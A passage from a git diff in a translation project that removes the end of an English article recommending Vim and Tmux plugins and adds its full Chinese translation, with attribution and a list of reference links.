the section **User contribution** in this list for an alternative to `Sparkup`. - -### Extra tips ### - -- [Vimux][11] allows you to interact with Tmux from Vim. Run tests, build scripts and tasks without leaving Vim. -- [Auto installing Vundle][12] adding some lines of `VimL` to `.vimrc` config file. Every time you run Vim from a new environment, it will install Vundle and all the related Bundles. This is extremely useful when you are copying your Vim config file to a fresh installation, or to a new server. -- [A success story][13] of a developer who said goodbye to his trusty **MacBook Pro** and started coding on an iPad + Linode, in da cloud. - -### Users contribution ### - -- [YouCompleteMe][14], suggested by the nice redditor hnasarat. It take some extra effort to install, but provides an incredibly powerful semantic completions for many language (C, Ruby, Python, PHP and more). -- [Ag][15], suggested by *gckjk* (Reddit knows it better!). It's `ack` on steroids. 3 to 5 times faster, it ignores file patterns from your `.gitignore` and `.hgignore` (even `.agignore` if you have special needs). -- [Emmet][16], suggested by *damnated*, another nice redditor. An alternative to `Sparkup`, but with a nice plus, it's super easy and fast to wrap strings with tags. Check out the video for an example. -- [Unite][17], suggested by basetta, is an alternative to some of the plugins I listed. You can do file searching (like `CtrlP`), content searching (using `ack` or `ag`), move around the yank history and switch between buffers. All integrated in a single plugin. - --------------------------------------------------------------------------------- - -via: http://devcharm.com/pages/18-vim-is-your-new-ide - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://robots.thoughtbot.com/a-tmux-crash-course -[2]:https://github.com/vrde/dotfiles/blob/master/.tmux.conf -[3]:https://gist.github.com/vrde/7398199 -[4]:https://github.com/gmarik/vundle -[5]:https://github.com/scrooloose/syntastic -[6]:https://github.com/ervandew/supertab -[7]:https://github.com/mileszs/ack.vim -[8]:http://kien.github.io/ctrlp.vim/ -[9]:https://github.com/scrooloose/nerdtree -[10]:https://github.com/rstacruz/sparkup -[11]:https://github.com/benmills/vimux -[12]:http://www.erikzaadi.com/2012/03/19/auto-installing-vundle-from-your-vimrc/ -[13]:http://www.linuxjournal.com/content/swap-your-laptop-ipad-linode -[14]:https://github.com/Valloric/YouCompleteMe -[15]:https://github.com/ggreer/the_silver_searcher -[16]:http://mattn.github.io/emmet-vim/ -[17]:https://github.com/Shougo/unite.vim diff --git a/translated/Vim is your new IDE.md b/translated/Vim is your new IDE.md new file mode 100644 index 0000000000..1e645f7b22 --- /dev/null +++ b/translated/Vim is your new IDE.md @@ -0,0 +1,60 @@ +终端至上！将Vim打造成全新的集成开发环境！ +================================================================================ +**让GUI都玩儿蛋去！鼠标是你的敌人！只有键盘才是你唯一的朋友！** + +如果把Vim和Tmux结合在一起会发生什么？你将拥有完美的编程环境！下面是我多年来珍藏的一些不传之秘，有了这些，你立刻就能轻松打造出属于你的Vim开发环境。 + +###Tmux相关### + +- [Tmux速成班][1]，这个不错，可以让你快速掌握如何开始使用Tmux。 +- 这是我的[tmux.conf配置文件][2]，它有一个定制状态栏，可以大大改进颜色主题、优化可读性，里面还有一个必不可少的操作：重设快捷将，因为`Ctrl+b`Vim要用，因此它帮你改为了`Ctrl+a`。 +- 其实，[构建优化IDE][3]就像写一个bash脚本一样简单。链接内的例子展示了如何编写一个`.sh`脚本来运行你自己的编程环境。 + +###Vim插件### + +- [Vundle][4]，Vim的插件管理器，用它可以跟踪`.vimrc`文件中的所有插件，还可以进行脚本的一键安装、更新或删除。额，我会告诉你用它还可以直接在Vim里**搜索**插件吗？总之，这个插件扩展绝对是居家旅行、杀人越货之Vim必备佳品。 +- [Syntastic][5] 可以检测语法是否正确，写代码的时候要想避免低级错误，这个工具必不可少，它的确能**大大提高**你的代码编写速度。 +- [Supertab][6]，这款插件可以帮助你使用``实现自动补全。它会搜索当前文档中的所有字符串，然后给出所有的匹配项建议。对写代码带来的好处不只是提升速度，还可以避免很多拼写错误。如果有兴趣，在本文最后一部分**用户推荐**，有此插件的替代品。 +- [Ack][7]，99%的用户会选择用它代替grep。它完美集成在Vim里，用户可以直接用它搜索项目文件，搜索结果则显示在一个独立的窗口里。在本文最后一部分**用户推荐**，也有此插件的替代品。 +- [CtrlP][8] 能够极快的模糊搜索全路径文件、缓冲区、“最近使用”（MRU）和标签等等，纯粹用`VimL`写成，专为Vim搜索。 +- [NERDTree][9] 可以帮你浏览整个文件系统、打开文件或目录。它以树形结构显示整个文件系统，支持键盘操作和简单的文件系统操作。 +- [Sparkup][10]可以帮助你更快的编写HTML代码。支持**类CSS语法**和**完整的HTML扩展**代码。在本文最后一部分**用户推荐**，也有此插件的替代品。 + +###小贴士### + +- [Vimux][11]可以帮你在Vim中与Tmux进行交互。例如在不需要离开Vim的情况下进行测试、编写脚本、建立任务等。 +- [《自动安装Vundle》][12]这篇文章介绍了在`.vimrc`配置文件中只需添加几行`VimL`脚本，这样每次你在一个新环境中运行Vim的时候，它就能自动安装Vundle及所有关联包。在你拷贝Vim配置文件到一个新环境或新的服务器时，这是非常有用的。 +- [一名开发者的成功故事][13]介绍了他是如何告别他曾经最信任的**MacBook Pro**，并改用iPad + Linode在云上开始开发工作。 + +###用户推荐### + +- [YouCompleteMe][14]，由Reddit用户hnasarat推荐。它安装起来稍微麻烦一些，但是支持非常强大的语法补全，包括C、Ruby、Python、PHP等许多语言。 +- [Ag][15]，由*gckjk*推荐，大多数Reddit用户都知道它，这是升级版的`ack`，速度快了3到5倍。通过读取 `.gitignore`和 `.hgignore`，甚至`.agignore`，从而达到忽略匹配文件的作用。 +- [Emmet][16]，由另一个资深reddit用户*damnated*推荐。这是一款`Sparkup`的替代品，可以非常方便快速地用标签标记字符串。链接里有示例演示视频。 +- [Unite][17]由网友 basetta推荐，它可以作为前面多个插件的替代品。你可以用它搜索文件（就像`CtrlP`），搜索文档内容（就像`ack`或`ag`），还可以在下拉历史或缓冲区间进行自由移动和切换。所有这些功能都集成在了这一个插件里，非常方便！ + +-------------------------------------------------------------------------------- + +via: http://devcharm.com/pages/18-vim-is-your-new-ide + +译者：[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://robots.thoughtbot.com/a-tmux-crash-course +[2]:https://github.com/vrde/dotfiles/blob/master/.tmux.conf +[3]:https://gist.github.com/vrde/7398199 +[4]:https://github.com/gmarik/vundle +[5]:https://github.com/scrooloose/syntastic +[6]:https://github.com/ervandew/supertab +[7]:https://github.com/mileszs/ack.vim +[8]:http://kien.github.io/ctrlp.vim/ +[9]:https://github.com/scrooloose/nerdtree +[10]:https://github.com/rstacruz/sparkup +[11]:https://github.com/benmills/vimux +[12]:http://www.erikzaadi.com/2012/03/19/auto-installing-vundle-from-your-vimrc/ +[13]:http://www.linuxjournal.com/content/swap-your-laptop-ipad-linode +[14]:https://github.com/Valloric/YouCompleteMe +[15]:https://github.com/ggreer/the_silver_searcher +[16]:http://mattn.github.io/emmet-vim/ +[17]:https://github.com/Shougo/unite.vim